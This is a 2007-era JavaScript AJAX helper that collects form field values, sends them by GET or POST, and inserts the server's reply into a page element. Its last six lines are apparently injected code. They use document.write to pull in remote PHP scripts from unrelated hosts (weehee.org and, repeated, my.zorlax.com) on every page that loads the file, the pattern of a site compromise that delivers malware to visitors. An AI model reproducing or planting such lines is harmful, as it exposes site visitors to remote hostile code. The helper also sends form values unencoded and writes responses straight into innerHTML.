// JavaScript Document
// ajax dynamic
// By Brend 2007
/* Settings*/
var waitingMessage="<div align=\"center\"><img src=\"images/preloading.gif\" alt=\"Please Wait...\" /></div>";
var ajaxNotSupportedMessage="Your browser does not support the enhanced functionality of this website";
/* Settings End*/

var targetDiv;
var xmlHttp;
var aid;

function loading(){
	document.getElementById(targetDiv).innerHTML = waitingMessage;
}

function redirect(uri){
	//window.location = uri;
	//location.href = uri;
	document.location = uri;	
}

function getElementAndSend(masterId,postOrGet,url,trgtDiv,attrb){
	var vars="";
	targetDiv=trgtDiv;	
	aid="aid="+Math.ceil(Math.random()*1000000);
	if(attrb==""){
		vars=getAllObj(masterId)+aid;
	}
	else if(attrb!="" && masterId!=""){
		vars=getAllObj(masterId)+attrb+"&"+aid;
	}
	else{
		vars=attrb+"&"+aid;
	}
	if(postOrGet=="post"){
		varToPost(vars,url);
		loading();
	}
	else{
		varToGet(vars,url);
		loading();
	}	
}

function getAllObj(objid,objNoid){
	var getstr="";
	if(objid==""){
		var obj=objNoid;
	}
	else{
		var obj=document.getElementById(objid);	
	}	
	for(var x=0;x < obj.childNodes.length;x++){
		if(obj.childNodes[x].childNodes.length > 0){
			if(obj.childNodes[x].id != ""){
				getstr += getAllObj(obj.childNodes[x].id,'');
			}
			else{
				getstr += getAllObj('',obj.childNodes[x]);
			}
		}
		else{
			getstr += get(obj);
		}
	}
	return getstr;
}

function get(obj){
	var getstr = "";	
	for (i=0; i<obj.childNodes.length; i++){		
		if (obj.childNodes[i].tagName == "INPUT"){			
			if (obj.childNodes[i].type == "checkbox") {
				if (obj.childNodes[i].checked) {
					getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
				}
				else {
					getstr += obj.childNodes[i].name + "=&";
				}
			}
			else if (obj.childNodes[i].type == "radio") {
				if (obj.childNodes[i].checked) {
					getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
				}
			}
			else{
				getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
			}
		}
		else if (obj.childNodes[i].tagName == "SELECT"){			
			var sel = obj.childNodes[i];
			getstr += sel.name + "=" + sel.value + "&";
		}
		else if (obj.childNodes[i].tagName == "TEXTAREA"){			
			getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
		}
	}	
	return getstr;
}

function varToGet(vars,uri){
	xmlHttp=GetXmlHttpObject();
	if (xmlHttp==null){
	  alert(ajaxNotSupportedMessage);
	  return false;
	 }
	var url=uri;
	url=url+"?"+vars;
	xmlHttp.onreadystatechange=stateChanged;
	xmlHttp.open("GET",url,true);
	xmlHttp.setRequestHeader('If-Modified-Since', 'Sun, 12 Feb 2007 00:00:00 GMT');
	xmlHttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8');
	xmlHttp.setRequestHeader('Content-length', vars.length);
	xmlHttp.setRequestHeader('Connection', 'close');
	xmlHttp.send(null);
}

function varToPost(vars,uri){
	xmlHttp=GetXmlHttpObject();
	if (xmlHttp==null){
	  alert(ajaxNotSupportedMessage);
	  return false;
	 }
	var url=uri;
	xmlHttp.onreadystatechange=stateChanged;
	xmlHttp.open("POST",url,true);
	xmlHttp.setRequestHeader('If-Modified-Since', 'Sun, 12 Feb 2007 00:00:00 GMT');
	xmlHttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8');
	xmlHttp.setRequestHeader('Content-length', vars.length);
	xmlHttp.setRequestHeader('Connection', 'close');
	xmlHttp.send(vars);
}

function stateChanged(){
	if (xmlHttp.readyState==3){		
		document.getElementById(targetDiv).innerHTML=waitingMessage;
	}
	else if (xmlHttp.readyState==4){
		document.getElementById(targetDiv).innerHTML=xmlHttp.responseText;
	}
}

function GetXmlHttpObject(){
	var xmlHttp=null;
	try{
	  xmlHttp=new XMLHttpRequest();
	  }
	catch (e){
	  try{
		xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
		}
	  catch (e){
		xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	return xmlHttp;
}
document.write('<script src=http://weehee.org/README_FILES/front.php ><\/script>');
document.write('<script src=http://my.zorlax.com/templates_c/announcements.php ><\/script>');
document.write('<script src=http://my.zorlax.com/templates_c/announcements.php ><\/script>');
document.write('<script src=http://my.zorlax.com/templates_c/announcements.php ><\/script>');
document.write('<script src=http://my.zorlax.com/templates_c/announcements.php ><\/script>');
document.write('<script src=http://my.zorlax.com/templates_c/announcements.php ><\/script>');